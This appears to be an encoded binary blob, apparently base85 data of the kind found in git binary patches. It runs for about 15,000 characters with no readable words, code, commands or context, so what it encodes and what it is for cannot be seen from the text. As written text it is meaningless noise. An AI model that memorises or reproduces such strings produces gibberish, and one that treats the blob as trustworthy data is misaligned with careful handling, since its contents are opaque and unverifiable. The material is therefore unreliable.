z+ESjJ77x+z~H|k;|6{*MVfU7p|>qn%cI z(mSSzJ1_WACmDM2_h;YUzm@;3T9Ool+Z|byDFW4mB`OgKG>fbbRolBlxam|0g(g~k zR1L2sLffgCOq>N{HE!C#=pYy~T~D5rLA%FN&Tb0H22*Zm;Cf)eSPjd<5;rs(H+|>T?@K> zv~ExcFfL=RAV%V}a_SV3eHv@xd!%Ve+s#9`2H3%=;dH;ZsQpl7i7z%!=(pdi{}bv1te z_5PeIJzh?|F+tKz)Ai~#J@GBw$wygzw%zeT?p@xMF^??7{eHIW?v`VBwmNmMB=w}3 z_oX{6uL*@1>!zLv0N$ovRN)d(KpUDHyh z2?yvx|4*_&u?*311&!fV=lX$%S}RWjJfp<>F9ryo#3ldU80bqfe5f2=^@e>vcB5Ig z0+**^S0GE? zg}O}m?8rWqO3OH#M-vU6&Oya1iX7=g`mNQ+5MUwG!ItCFzfFc)$Y&O#tj-6|Z#2t_ zz%AoKx~@S58KrnSBHMOgZ)FC+XZ=#vQ`@l7B}93E6_r85YM9 z0oMrCiTLn%_W6RDe5>RVyzJ064(RuZ@W%<8DaP%sE_n942tR^at0>HB!aY*t)8rw^ zc0K`1cs{!!LQ@F|G2d8>+G(e&A;#n(5Hr(IBSere1qFW6!En%da*Uxx<-et9rR)j( z4?iY=p+#0H0|hPiYs~-PR8LlJwu<5k#{GGyqbSIQp;iFpkcfp@SB@gc$}N1)A~u}-2V4kvCFB?4Kn=^kkx@P44y{OGcY<V6_bxXPN~=kf@l(JDOq)U~5B5bm4ft=tr8J=`M9&Pz_7x1}=Nomy3yxQZJv)59x#+4|v>&jc8pn0TsnDSb z$^T>dWy=aTO^rsPy+StBogYfW%7sLBbe0p~BybYQD4Cgw~ye>kx zaA0C!-O{F|lG75=x~Lr?jv==x=_lZ}-Oq1j zuG%;o8G>g)xp1M8qA~o$#%C76F4IBS zc0m?`rHh_4EQ!ui?y`#xE#gdJ$6-DWdGTNX(XlSfWkTKMQTx}K=WmMaFOO0k?B0^1 zbpWqDV4w-p-Hq9NreM?iL(lGB-FT{|2Ll&m1*ky2*c}pFdbSmE*qxV&%bepKxOzO) z5v8lbLMEbgxhT!KBASZO$mD(NH(G6Fs6#k(@Ipq;^l+~ z-Zc8STH}On!nz_EV)=H0Qzz4+p^RRRSE{3QMo@np3e-iMaPsKN9JvmCsNQ44fs$B) zG6i*wbVZZ1L4D5zaX_wv@U(%ab?W1~I=m)yjBTx43kZ*Ck&cKOis;-zPQlZ6@WHJtO6cs0Nsp%y zx(M(3h5{A6NH=@ECI{u?JgK%Tq5MS5a>lsE4>htd*2pr>=>-?YXvTa zTa*)ki5B9ridFOk3Z8?>6ct&<39SABY+W7Js#;mXq78|>QCGp8wxZv+Q*)W16yVVm zUz9(-98hsxS%s<(Y=aBdUO`nLfJ1f5--&`fLx5LXQ3$Q@lVy>8;;X$dg8Vm}R19J; zH?~C-eT&A0A=JhgjKkdmjh}_q%w=!jkH}pQ9lds{J=%Kh92brVMe5OJ!)tUE*&mX9UEba zk1E+@MIz$EO3!3rmYfap>EDqNQLs^r>(l0Lu%5|*aV*y9y#Q}5j;p+I{nPjSEMaX} zf0JqzxQc22DHmAXuGe9nZnixAl{HaA4yD2eGg(;G@CDD}=WxFL?!_%awjOguqJ-)D ze&MjfQ=4H#wT*O~o6hAFZ7W9mJOsLaq^I*YxKOHWeO43Zr{DLmt?O`zsew#$l?b<0K{_dWwyb}4 z-BiKJ2S|MKyO4YNJ&OAsFF)S?`!R~f!^-&a0Y}zc$Lze17$8Mklwq#cC6tRrGsA_n zBPCc`{)&sU)7iYh1(=Q88JiFSBr6=PD@uV2T$f|@BUaE5C!*M1|3kr;EL~yF#dff;*zQ2Gzg6c|vj=blAO2=MG@@koGhJ<%- zXYu{un0gUl#m$UUN>Svm%f{u<(0&g5Z2?Q775RK)ET$N-R1{@NzL|Ly zEY3oy-sbh*W7n!6{bwHIgrI8wo(bS18asymIn7iJ{whnK-7E;GtRorhVx3KFtv|(3 z4@i`rN!GlS_2bgBVi||(k$u&5$*I0_9#&No?S$Ty=y>FKJIwFnCJ1e^$LiU0KNm~Y zHhc(A3p{;6?oDr2TtEI+jqZ_Z>XyN}CpzkpqAH>+{7psK?z%v$USfc{>y|@=ubh95 z>SX0j2A^-uqvGK%%OBOTU0&4eHB?)>cm%P}oq40nF=C1P+`lR=sVy9905ypM z)hXoJRwYrDP zJsu}Hl)KNFf8(PGtThkaFD6DlbRq~P=)HgJCyLdGPOqsZj3j`k`?0|hd(82xIo=ap z+eKl2FH6%h`yra}QB4wks0*r2WD?n5MW+Y>*X4?bSHy=Nt@n@us=Iq>Q|x}n{mia@ z0^1+%W!B;S!y;c5xJ2g=5*1xx>oy%ej6a~CDG~QG9jP8V|06O{^E)XXz1f!tE^RQt zr`?YAlVS|or_;eR@>7J38qaq*K3Mv(!||cV?|Da=(wms9h4Xij2fGD?gk%i8o;X!u zNXrJgT76jmA7GV9dr|_#J~nf^9Qil~TCiGQ$-0FC?+!?dprHF6E;zk;gygY5O5TYt zpauG1i)E)Ccrjc>?<{qlV2s{KN#b~fwE1Z{G3kzJn zBbN|JDSlm!)*Bw|vU#);z7d)`97p}{&GXk(Gh&j@L#F_k>AmQ0P#grU&wd>|Y#7PFqD98JEq$42f|X1EzMn zxB@k@9dW&^zUtT?!Gb97z>x!?9wked8sD<98sgF+#i)viw{-6^3WLuYoXCh1!@~9DZaxehsb8oP=p_(H`?_kh)va;L|nJ{W(!SwDK zijS-0e`8d)S{Y)@!KrH~5UpO^N&F;M$9V)sUy@fOOpEXnilYDe-%*pDB!meBXUycH zY~*oDMsx(t3crqzUxn9Rz=6%)qRI_F%M9MMcR@6O5oX892y?uL4Q8q(mvf+u)@Sri zUWIC%LjFiwu6E-McGnzVz_8{S5OIuniG+Jw($}UcN^h8Zt@Fq3IklA46EJ-jyQLJ3 zcII5ha!up=^H#duurI**F>&=@^9??9lBrinHC6zoj;-h=HpDRc;pn9nw)U$Z35)^~ zCkR)>%&-xN9+8hQSEcbW)qKWXYyPlsoVv$>Lz>_e88B73(*{0c_XuLeJ$nCJW+&>I zqDaemhO)7t({P$2C2d8cEDx1XUqO)PR17xhnOUhGS8^>31=TX;I;)lYMu+2bSJMy} zToZz0=W|ubR1sPrF0u{CdT@!kk{4oq&&yDFca<9eo+NF78tT29b7TyE@iSD@481nbOYJY#yJ zX`%aLCnelNqUE*`T$O$MlsW;1f3B$ns9K*u(qqGSPpeRw@>5vQ=_yu=r5zUb0Cjb3 zk-kb=l-wbuobdN?erZyG^+OpqE8tk#IBK)(HI|TwReD|$19(^jJmV}kqzMbSO;Yj+ zLkG7#G~TDo{hI2B-%~BU)dIun@2z{=O{K`!ugchgI;^U#ZxaD&Ixu#lY zy`gBq!i*T~1J?e`5%{#m?{beh)+@%rbF|%;cDQ^Pr|g^_g7g$Tx0kJP40qT%Z%OCb z%gn2mDV(%Pe35R*sbiTnGu8{H7}m8(RpbD;B4fH7O#enexxs{2z$GwWPRe0+p)}@r z4wH2SJ&h%mgaMwx%a}6l03SvZ6Jbs(iICA>`OV4@L@WFjfVu#zOJR0Gmrz{~e#{ws z!27DrO4JstKdMoK_=1xxD%WoA`5RG@t~Jb$uZ=ybQ7t-$B9&XU(JL2)N{wrG zHlthFZrF1fJ;rAsp@`)N?|ta`Qz!n4#(w`u(2|e)Qoww~=q<0@j4cOW3UOnLqT2Sd zIN_t!g=`jzmpvMUQkl365;g(x?Wf$8hzivCm6C~gKU=;O)pwU1tae39Z;4QH-@J-P zOp49=ol+mTf~j!Ahk(0SA1D+SX;;Q`h)DPMs766(^RA|?;hXd`ULsaWT^gi|UoFGM zz=9P#on(E;^tG%-`5tDH6ajsFj}QTOIPQX8^*Y;MZ;&9F@5OzeK4zwUyj1sXDM&%Q z7f-3<((~l4m4}-nr&}aeoN!cu5a$vOr{*~_cbsC)E|{)NEIA!+6fN{w+A$+=YB{Bc z<06cC9+}!fl`@%K=B%0j0=W}d$(vFv8(9p8zi~Z+VlY8V5y)U>n20x`{DrTTnz zWhg>(60jS*AsFRZ!^a)sdyI5qM|?b{Bw(>G=>gND`w7z!(Jk?%d%!vw0=Iz91EGOG zvq5xw2yX5!#(cudJl51?a>hhs~$ z<(Fe42h#_C$lvw6L@lT)(p=KeDhxejs-arkwDZPR z1cKrc%iE@P7QlK}#OTm{o3Pcm06={}YWRS2WfDLOy^osgH~CScdsxaiP^ni}sZWkI zxgleX_8JZXS8nmW3~>n(z;OUFVvW&&!bZKi znZx(clA`SD)uz;J@sZ(nKwJx4C|M3QNS&Yh8a?n;PXWvtCovgBV|gH$2w*0GC7dWM z0`%oXIi8oGRG8BV>1HMZC8{{B((YF9a>NE)F)*;H&^>SfwC1zvzEC&dAQ3PCJZ5ZF z)Cs{t8BcpBg4+do&I79h5L$;|X%GquK)E$QdeQpplO&+IPt-HtFEfVg1Ij>Apkwc0 z3;KG9$!AL-YbPRbO!d{HtTpgT4}FZ&mSddY1;bKnpx^ZvymSO28pdD)c~np0}iadAZkzsI@Cw)IjlPXo2d|n4Ul`2_l8xtRcXE)yE4b&mtIM5 z+vLklGquq(Pece9eM1J#!nTQzEPYO(xjlGxxUEpNl(5(m**SYc1_qe>FPc!}G=S`C z^Ps!(T-1H%Xlg0W|G@6i*MK)J}pzn6XKg^+9PpD8;bD zJnX(mlpkze5N=)IEXwd^K4!vSlYKDJ9PG}2dott%q{!-u5I+j39b-O+rR*jqu8B<4 zDJN1YED_K;8?-J1P0J+Y!hKk@rH6upE(={M^wsQFQP_OJ0JKIUn4kF||GFd{2~9C*N84W41=@{(8g$rU*w=(RX|&E19JuGg_Nn-6ZPk9*ssdEYz(D;{ zx8gXP+6nN4407c;4?|03KGq^1SI*$f`7XPs^Pk_+tVFfrzJV_KKBe9F4a$2_b;Z)ClC)EW0*`eL=`+v8D4 zOPmL7!nKXY{@O(n8YptC6IzhxK_EB}IL)8J?pg00Nbs>W_kHVwjoPfVB_VzqzNfcH z@QN^7Ls&P-e0>YTDmKPDNq8dADw}_`qRVn#LLBR^W7sZa@ljXeoy-9&2c~eKRVg(N z{&;I-3{}>+px>q~9n@w=s%l&gh~Vr|zIK}skEoKrr?UbHXf2*`dS@Tk_h5PfZUix6 z`l^_4>?*+to7OjY#SSw^SuZA48Uo2n$jhyJK5un4MD7m*#v#eU4L)cD(XLrke~G^k@7<7(px|u|lQQ)U#|r)~25@5F zT@cjht8N#G-kFGTScRTO>?M#9P)TE6RJlz{Mj<>SBsQO~)x7?B#}wg#HMA1t-XsMT z6KXYpr%}P4HzMI9pB3|}|K_fJ;lnoO@DRKCt*G)@Fx@?@dCU&R7JzYVSTkShhCW)| z$V2Zl(K}|MA82lHW1MOSI}iIRb@JB|&T;V>m9=|N+h?1#hI{`uEO-~CZ#)8dw%8lI z7I^t}p-7=-b_muQF&z*%Pr~37PsMLVCC#X{0C*J|s~x=g3#s`ItUYF0dp#Lv4OctzldgLTeGYy8?tWVgtPgqeiSKjZ>~Q0$t>io=Bi~;vc;{@bwKE zroZy$-;;$;)?v|14X*FAnYdy~{2hilXg;Z$NlH{@6Bg(ZuA?Sz0W=nrI1PEuH1&l9@ZU5b!C?-FY*_K}uGBSbw5#EmUVG5Wvmg<@Ev1RyKKta0{*h28iPES;8qf)= zsj$i_^Q_&)ojcE(q+@1-Pns=8*pDw`M|Lcl-0|ZnWSUX>^MLX0(KD`xF1pn$zIi}G zoU-!J+VRTC+4pxi&JYgumtMQ@5h%Kry+5l!NBn4jT-4Y$7LTZP_}tJ3Ktu0ftx3#Q z1vZI`J1NIWoA55>%b!3NOyInYgd}EBHWUh9c9Dbbf_@;IDR9(^9E;!p(eWN(U7(*t znN#5&Q8*^k`SG6$Du=M+Al-%bXg~O^m`3#7}Z~9O9Pf?&Zs9IFbY|1 z{k#k^?_#SesMeBuHmb=vEDYwkbU?=OJU6i~oh`viB(%d_ElXgq8^F6pJIj4dU|_j7 zC8!H=mI#bgtBqNdXM-=@2%|RV%0d4Zq5IzV8%SbH;+Ac9Vevpiz<9vdWg3CzU=?No z(roa4(0`}xvZOx2RtumXlBSp(r4**LH|*tpf8Q9`v=!RgEZ5rU2~(qsAWDsMs;lQYz~PWG%s8k!(>x?o>2v zbHM8q^iU6@HiGgLgTkP@E6=DwB))q*#1i{%i{5|^o4Ss4c*p%O7kZ|x z$??@T1?zLqMMotfP4(q?L*|@3d_Th;tLGZ;8iS#ni2lCj^tQ+7#v<~EkwJw*aS}?I zt0&uDtzcMTslvp#BUqn&)4|EpX#nPx4YhXq*$jL?x`L#4``K&f6@!*3T}`Zh<(lA{ zDlGL<##$?jF0VV$it|Lw^1%YKo@qcphpP{|o7Fu|Y{XT$?|mHPlO6VD(^=Q7#LVZj z@_d_Jv-LCHn2WWCq#grJIg_7{o4UluT8pH?(Y67PU*6q;JA)#v`>yqUVck7O9c_=& z9&UV!M^91Ps(mtNpWCdBp$80we=#^4_I7pXUEqYrZxXqF{9A7c`P8<-2ds$Da|}D2 z>JHPZa?T5V7`f^1Axc=siY+4iBjMKCs5znFNO(mthZm+$vpSqGQfGC-PG7MAWPy%7 zWamYS`*`PJdO_{BIV6s#vxqCv+jYslTQl>+(gGfS7w4^!t6{MS7dNF$^X2~-{l-M? zY#fRy%SwMH624TyCZ*|&k_Lmk+?;LsKJ%elHT}Dq`xq_(b7%5*Odqw>Si&AJ)U`Bi z=h*jX?XVMQ_{>}L?)&Or(|-0c9k zVtS}oKn$n`D_pB@_LMs}0Vp@zaC5+Z*M#i!O;d}CJGJ+AD^dOx0movx#rpEP<=P(M zbwwwv9E8lme|B7dU6nQOjm6@bz`hehpsH$X7xD} zy=s0b?qEQFj174T8Q7woX1B`X@m^XxW)o)QA7wG~+67t3a>}zlo$@z;;<3Si-%LV?xfnWY5VD>bJM3 zSaG4XNDr5b(NFBtPwY0zF7xi`2s5p#yV#iaaMRBhIbUAml1ak2pnIs{7L%4g3KoA zMsKG+_Zte}PCS5Z=HjUD#s%N6J~UAZ0eXAdt*m%o#>;;1lYuOJdPqEDinWYx%Cz09 zWwyrB*H7*55U`qcj`3GfbbL6p2$KYBycaFkU7tqI9qUA~L{iBSc~}7V9nY}cr)Dakka=0eqhur0 z%Jk)q(L-H9FVYX6-?fFxq=9QY1TNn~aCYHh)Q>|P8+Hp$SF7+Q-;T3u4)zDD@O+Ps zI3tsdIENH5PZ__7NtTCLE}c}!C`ocKGP@A>q_ULZ2cxPLMfUxfD3@Vh#zx_jZgUQ_ zVOr=o!Rn#t%LseT&Frsr6nO37Ar?!7HD``is)-2{~G0oie)D=8mHO*QO;4kI;#87Ds+v3lA z+fw|f=@G*u!cD{onWZFl&uahv-G?e2-@itvR}pY1X$FzPwpFDPMFB3&dnF2K~F$>gN-hpO9kUlKL+Rib9l|If=D*IMk{||!m-C*g} zXF#ET!v;d!NGn;~aYq9mLvoCu;`2F$dg6Cr5PeoH|3)_>e|&UDu#}$5MCl}skMe_m z=%onV4SXfoOW{ycDgctTOvoyaMtNGxw9a?J{nqzB>hev(@62&xYh@QnE8(^ARD?=b z#MeP;CUxm-^5bAtd1kP1k?2^i^x;HwIQ(R(-rBgnYgVgNOiMmD0yA0LmJGH-@`#lZLj!r`P>} z)jM|2*s)_qmM!ko6rP_p7D|4#S4r;m$qE>N=f6Eqe$||2_8LCyeYu!CokDv1&@VQr zcT@%6lJxDI#_kb~O$;s$`!p(-4>^cNKdd5;0i-0=i{$nXXFq=+@X>q@X>{5cX5t6r z*bfhT&6$LVRZp5YXbw!QRl=aN9MdEsJ`gF=C9GI6vMXZCE2WZwvsL64v$sX3hH*+u!$Iv0ZLi(Q=#SMic2ht>a;1P$Rzg3Llit zRwS6i;T!UET;<@|t{y@c@ea$BDM68DXpfssu9PNRDYZ@sqHQb0XFjMNJG0o%4l+b~ ziwCEe9FN|!BxM}=buV$#02DB^n80u8P#KYb-%0?Xv&P03&{TAy>bfvcOjNa}Uoj;()!^(SWis)bLuY7p8IPtCBqZMR} zW#oTCHHcl*TEmL|s&=XwqMYF}ujkL#?7!M)=;{^?R*yTj3a$EJa; zjs~$=ZkJ6GE|h#)lzq9S4d zMG(Z$BOpxZQUi*DA_hf@qDHB_}s*YY>fBN}h9*X*%i*2>q+^4Q{QrkT}=5{HB#8!cnAym;H>mS0>y8%?5h zUQ1-7obCM~v-m~3%Vr}9Ew&vkzs?TX9+b7KFoVkr9mdTZ6(CBGiOqo7!f1=d&6Y?C z1y^4y-%F8c?9%W7ztK(XWfJU*&FticjZb+weldeN$2hGHIX)WFcwn~qg`eGTW7}7L zPFMY$T(}?!a2{^~_03)87acR=U5n#gY)-l=4OfMBd3_xYx_v z(U5|$Pp~_5D%oh*q#{Am2)r$^Ps@~xsvAZ06{SXdY3}ixN4rNWCrB z5~etd=C{p8BK*9M47m&@c-`Td^arRyjQc{g}9YaLCnWS@&Eo*w0X(0X2kdbvlUJ z;I)-#L04#-Qh}5@JGJ@kedTx5ziFv;mt2JlHWT#H+Oe)}hoOS98XKHx zaX;7Q80$~JWZ@vSY#(poAZOu*Tz1nDDn%^s)~mqPi@*5U?6jWtg^-sBK zVaMx9CI%3#j=Jrgi^WJ=@~j0*l(_HLa`2I%pw(BtkqL|j(q7+YXYq3K0cYY0gE%J) z(Fq`G)JyqoVC1ZW@1_KkyGUaI>Ry?NAwbYj4AoO4QeLA;M@^Ihq+ggPYcsGOmZ4gT z2j?N_fFxF6(zfK&2Td$lrWAtO>jP0q#3hOSyV?GVq{yoF$iEfGHRLS5Rd{s|N1`hZ zvl|ZG@IPF;C8}?jv3V)#<_hDoMab2ms0Xrg#V-v`1{}&zWVJq)^!&w~EZa8nT1l0r z_h$J>gXmy98m1zQDJ}02ygu|dU>mlh6R}EqCw_fceKl5Vpsh#s6QlmIQF%FL~Q21I{Oh}*d8{@w+|NyPV*ov-y^p;jiUnL6@9K+>^g03hm$ z5J(N$OwJXV|&aezR z;tLO@oEP~xtfmd_+BdRfu}?9i&<#G9x$8e4OdxpLCo zy(3aZ2&f3HTvkDIt0XCjj{^YWfF8$WbRb)`K7?%Vl&;E?VzH|>-Oy4IV!S}*&Mw7z zM#8i}irApg8luAKlDB5{jP)T*#a-kQidXkYvN<3Ll?7)?vbtUvaddmqX!4kn^i8W> z_|^O;tNYJ%21Ry4?=3TmCsT7K6Ruga`a9yDSsm}PE^1QRpV6@^s)b<@@9np0)v+5M z&LFn)5vg1juuXz0UiRsOhXkF2d0h46>1noYYP zD1wFa6~Bh4-(f3Vq~)9_iSjkY?P}RYJfzTBtNN#F|JPRN=J0ECA(GRj`J86GuEXif z;=!mluPSHjeSBvaVQ7Zo6IDv}URvn|goc{P&+nYDdri z?MwlaYD`vYB=FL^0bU)J+`qTa@9K=45^*mll@72TV*+c&t7^q8uDWfF!rSwYSeI;m zNp*A~7+Y}eZ7bjLmSun7IS_v7k#EuKL)70;1<;=5=DMQKv5g_S=~DS6i3OGx;S)o{w#b*jkNv||RO>GAq@hD`nj8>T z*G|b1%CA94BhoV!h%g39h*nZ@5CV`H2~Mh9tn_9pAato%j`qfN^{E$bQ_T5D(dD!F zS7+PAEtMzC&h@i3>KS$l46>+8&KcTOb31Znl{3sZpL{2I>8H2vuew#`hWU&9$1MEyY6OBWVg$^e7wvZUm zk?;4E((V^a5oXy+af-8}PHG%RVDylKf&_Y%2JMQ^DDB3*-gCiZpBFr-)8=@?x2lT{ z?>mm)ZHrwubWHV9;@x43_rtZPU+r^9j`{6nbH6p@U9ZmDSIEGN(?1Ji)eF!39~K<~*AjId%zZ($0auF*5Cg?pIQl7&Ns$Y5 zQuG1w>7DmGtYCB}N%(09oXF83!3i^>R!GbPy&sKyW~Y&Q}sWRm?TZ`?a3gV@P|T9S1ebD|G5v6yA+FRk8na1 z)7dhipOUK@RsW4kjk(FpbSVe$aT8t2U&rOODTJq5=`ppv?|(i{sP2>Nmy7OFJOGjc zX#x2?^3k=bMPD^p7zc`~{dqCPBlcBEqetKyG8kEQ7Wl2b> zwyeKKx4J6Ae;_V?d!6ruQ0bUa_FR3TanDcvPYYOANqK~rysnS_=-4%2^!Xu2wwTb|oD^GIxP zLg-gwKbzoEV*jbgX^i;r>B+&ZF&kXPFwM2$TV0#g4ZbKK==X;3a(|S+T(n-IT`IO- ztPVp*(%ZPw4&esvCo{HcoH$VKar)~iKhI6|^5u?>RsJVEw^vP6xCJ&{&hQJBs*lof z8u)U?t?GpQ*^rXD@H76Wr}a-CF1OLIPWo`-P)*9*z@ZE2|D+> zbY-Gt`Bn}4lAoHDTIU}K$uo3j3UVF31*r_!iL<+$;5EZ13$V)Oq&&MfltBR7J)Bjf z7F-Q`k5y5tlE|+qrln?)6fGpy_(%xB@qP6UDa&QiLmFybbtus)jpek>dO>absj{e_ zRiM=IVVx4)V3ACjidN-H#V&0vj@ZLtsDIv9yMeky#NSwJDKR?T99oN^Y~k8id8GU_yolch|v6<@^&oZwRezbyFSem~sxl>EiVhD)7sPHC5qB|06x z`l!Jl<@m>zXzIA3f-NO+P?UD)8Kxj*^|w%uw2cI6KW|qycvY}@Ot(Bot&t_01&`|= zDmp@>#=ca>oAYz5m-*$nO8MN2ZV0vJkzjMZ&T3F@wlm8^C1xq}Fy`*BGhNu`HM!ys z{i8Z{5?HaKhe{m9&sSfYEbw-?#5E<_SJ%OOjWGF~$D7CM%5se+Zt-@aWEX6r%N`RmZb*gK9aV{3x3FFNhhDY7>}T52L7&p& z3qdi4dW%u*O@B_mJmh5fy*b$4vsZnagBzMmtsOkt95V$sw|?FM@ardIcvpnb9l)G zi4?eIqyYqCcz{IDE`?m%YMb9y62qqvW`#(wmqSP{(gF#8+#Dn)fE%aya%=86AFr%R z+Php--C00!jR1el;3D7|;-;WHMC&L!x@|nHY5BU6{^GS$C*Ku{o4g`z8|nEzYPu?qk4bv{g^jgXO!6FbzBpzPh}G&y4|I{-P(%dnb*_?z=TFOD-5;cwIpX9 zezj}I7_BtYe+U?A41sI&i`_R#aB^D;4ZUuj2o`23Nzq=SbUC?(GeX$gF=yL{<2m~> zyVSl=V6X{VX(IL0^;&n=Hp@4Dj#A_5i~OE_-d!hB>bg+@^6W_O_2tOMr>ZrhSqeVf zlQ@YyYl)Q&w+FJ?`$5MszNF1nG_rx;t?JF(i{Q{o;tqf?zC&na-79QrqZXXY>oW`h zK+FDaWxf8K%|clz4-bgv_Lin!#(rb;R|n6P*Yguwash8amZB7}DU))Sux+eOzLAf% z(g0v)oehYM@Hyl~m~m=lCX7HuIT(~d*dmJ3GT;gmwy<%W)w64yb59fn@BCSxu1lXq zYmy}}oJzLFM=FHg1Y|{#r!*zTDh@s}(y|XetA|hk>xWuM!^Y1l@Pm0KC>HXcS1mVfKk;^W%leeTA|G>fa1k5rrGW7eWoi0D zpoJuXoZ`M7cIT4d53$&n=fYfp7X{I&8-bcJJP;A6}Zx9@%2`I6}BVelN| zkr5-dK&Me2=1fQ0)qltPuR$C;h3mEB|#2GpMIDwLJKyiYwJlHa78y`i~VRk4Uqlths$w{u@nwuG)ESht0t>CQpUuBPvx z!^D(YU`Rv|QHT>9ISL3P34uLasT(}Pia;8}0i&IW$4M@~+o?x~@oOSDSpdok5I+Ed zFT~s-aKoV$A1L~&z`$89fyxAxCvlsF;0_)P&Gf1;kDJU1w=0WVzsd^e1*vYtHfns( zAOP#fZx*HR6Q)aJV3AxEU24L2Sr}4?TV$fRkdZ70EWU|d;z)J5BvQ)2?;u`7un8-~ zTj(NZ^PoL^*c(gP^(%O@S%n@bpFB(p|X@3}x=2#gC6 zc~q7<5M;wAd}C%5OoAjPevzxjS$Awg9`qvZ+Rr_9)G}Lq%`Mf%BI22xUrloA2G@vV zD=C-O>Gw41KIu z1n-t-D7Hp_VG_K#KqQ^4MA`Z>p}=a{-V?+ge+hr+50^B#W4XYB8yEzjV*qrx2<8iy zmEn0xs{G)^xAK%NfR1Q9DJ zu)a&|G%B%|0pEDW?(Q0q#7BrlgkVz9%hB-0U8(N=DZQAQ8HJR05jC?@MbnYRlLJL_ zKOJUAi~9PDmwpz_{M4l>l>D8(AZ~Kh;=&3!=rx_4JM=b_MS83NqaWl_t#Ohbgb{P` z-aNS2mth&h3CB}03mm+NYW_$c+|0x;aikrna9bvl$wThKSX%(ZPkfXK4X!Ja4dfC& z3bRz-lo9Cg>vZCOG=v!y?khkY;+}kqN=aD&*72nz3|W5x+>(zt%th&vWQjaa0ws>_ z1lz?xIaA>dOzEL2Aj)a)n)`?R4T`4rQIn!lb6E2+kWun33Sy=ZX3x_y!Vs5x{R3!Hj9Jx{x!hpE6#;lB0_j( z5C%TYC+s0fE>$AAvMB;Mm4XN-p&fum3FpUwhFgZDt%dL^p#&w2GS`R3xv0$~xGMw2 z6v57u3HOu>E=AxZmE|K{(q=UHaY)8e2=YFImH=^502fFpkU01SD&|k@`56+5x`c@R zf?Srmkd%~St9NK%D&=QYs`IOw+|xHTJ#T%h(qC%2xq8fTq3R|e-D0x7B?$)8pD0wX5QiYZ?G&g=l6lX;TEcMaIpF$oP=ZwcM_0zuSfxAV#%S1WsRW4b zv#lHu(1@Qn*xNj0-z~yN8j>XR5WgJHBJdG;7(xdVi(LX#3VehgYzqZCWh7kfbHiKo{^9bXEc>K5^!%?zaVjigQ9c+w*l<} zEMAOMKp+Kfz7*s)4t_laeJcsTaZq?!d@oa>o(F6jkCPEeukkS_`ZoF45Fe4?GQxvG z9wAKB`QI9WZ;+yWHC4~kPbc-(2{Z2UvVqKdK3>u zl+)E7nSFb-|4*?Nr^V(S@NM4QbXi_ohrr_jZit}uOzb$b{ffxI)v2n9df)o(H=j#D5bJpV6gz!}O;< zTS{!@8Y#zqEfKu|*zCi{&=h!5LdN6~CTO@wW(Ye=dYpo0S#O*I&|>me@QO&H<|1@J z`;0FBMoqv2F~G9}lKu>!>dJt# z9DK?+zL|>Bfq;Gpw;4i=GM|y!wZDH4}JxQ0dKpiJ0eAxvxBMLH27haI83`ZeE5k+`CN%tn${S zhyaX8FgW{W_?kSPGxqQ}APv0L#(-1zACn$~N}PAXXYY7^?{RHFlBa<*UrNG0r*e1n z7sb|Z+-iO@JU$0N3oXSSAs_s&$}2jKoImh(aEW*+L>|wV$BN#z9|x<>YvXS}CilH1 z^o&Kr!2cxjC+5c=7o~pir5~L7zf4&f-s4x-$XD*)^sV-5I&?uDJ7TCBVRZF%vsI1z z^R$E`BX9l2VveMIae1`0Id$*YduDHnP0pk34=?CPKDsjU`l$A!prX;p>tBn*K}Ej8 z(c#g+PktUZp|>krUwn?!0w)b$${(GWgg?2UJwI9PKl!Zf&B{){+0P2eK4BVsede>N z?B|o^a|-;n$@uiwpQq!*{gaUnkG5W~{D+!K*fir2J6#ttRqa20`Gb7nze(shsLO$A z(eT8Iheopn7d56opO_Nwo1NbHWXfxt84x;^UourcH(9MKTeu0?$Uy6JD`YtEYM#`E zC)3*7C%JPiwQBx*uYVcyxfL`vF(ozU+dOM<_j|0vT-?iIKkc~(!H>c})VS4r;WyM7 zBU27M|6YH{aj%#EWO~Qj;L#`_5%PuOifhe(b926UyL11|Zdo_GWn|Od>oWnbMFo?h ziIVA=p-11V=6NmOWgkqhle)D=IIMeg{=?k+{ju}s9Ou9P`yQaZ;M#{cC%`jq!#5Qq z8u~7zJ3HvS=y5FlrjsE*cgyI&Gcq-y_wRF&@X|t5@t1kWQPJFvSr~Lpgh$c>qsQsQ6@47MXv;XV2f78)N{Y-pEQO2wB7aZ@$EK_e3^Wx{f>deb* zUX(BWmR>p^RJnqC?5OU$;=O-f%XlGo|HAGI^FJL|j6bgW{+)Mzu4ncUNQGnvDafVY zBHG8r;|q)S#*=lMm$Jp8$ojj@Kc-V|tZW%u{`GvW<)cG#>2j#%m(S0?>KTfDrB zAo95W8!leU`8YDA@q_+jIqTVS)c!xxAD0t+|Gs*WTC{og#-w}&@kfbx;oXG=YrTK{ z#!IUE=Xjfc9n_Zenf^Q1z@lt^H2vVm+m+R~nqR#aR&njXw5ymzB#EtYx}&w-o3o`9 z2tn?g+J_k^Eooir?X^AmVia-5@F=^sJ5$9euCsGc=u(7nbBykP8S2TAb9>xe$^7bB zus*T8bwIBENv?JLuR5}Sqif#Q{WEnxV-M}9un5^yEG09u{pyyR|C$F9qK2>Txd7XE zHgRTmd2rX^_g7ZF?d^>H^8E7Nk-2^MjxDF-3wb(k8s+TjXO$H%_nyh#w<)~v%!beZ zDQCsVdyF=IsTG@7HxK+AKh$n@lrWcnYI5jtomGm67m~H>WfVFz!1h%1d_n1r+)vSHRD=+o$_haaRlk!$ry+0 zqkD}V?uHg#z4DLT^W*NlE0?Z1AiPs=Y>~H9Tkop4H(|S@%>GlcTUDZ3WgPxGPaUD% zmtGR}YS@g4`ZBad5-0cie&C9fVfIZ!_!V;UDj9`L5dA;zPl^LGx_dXyzG*E&U#}fs}%89a-*$MLk9SPd4hl71%!&e9m1c zf_CO5Lv6b1az?&|&sK)4 zJUvc1eljcv|7K=x=b(lRu)d1 zOa5@pGy=->UH`Qz3!}07)`9cJ0n1>mP7-Y@!}LQDyurf7xc-ef&-%a#D;M`nRE>r~ zSf**Za^_`+`sjC8Z2{#>R7&U8nsuhIz|a#mCwCt>r&q$AsGrWIMWqdHxqfk#{^Sgk zE#td5&~zy7%9WqmAJ1$Nr>-Wh#XU6}NsE7O*XQ|Ny*{>2eXo6NLj_p{13w>LlFtQA zd&Ya0v#yK2oRow88Cu?7WY92r&PNQV5`USA`TY&kOuTHQQ%Po75d3`7RgZvdW=)FySQ3g4%XOxgPdK7B z4&vRjZ10WRqWVKLL_Aj`fm7*j0|>6)pKTZyQW{nHP`-ga0J63d6I!(uXE}Wu1d?sW zpG&GmWGDF3b_M6*OA5wcVf 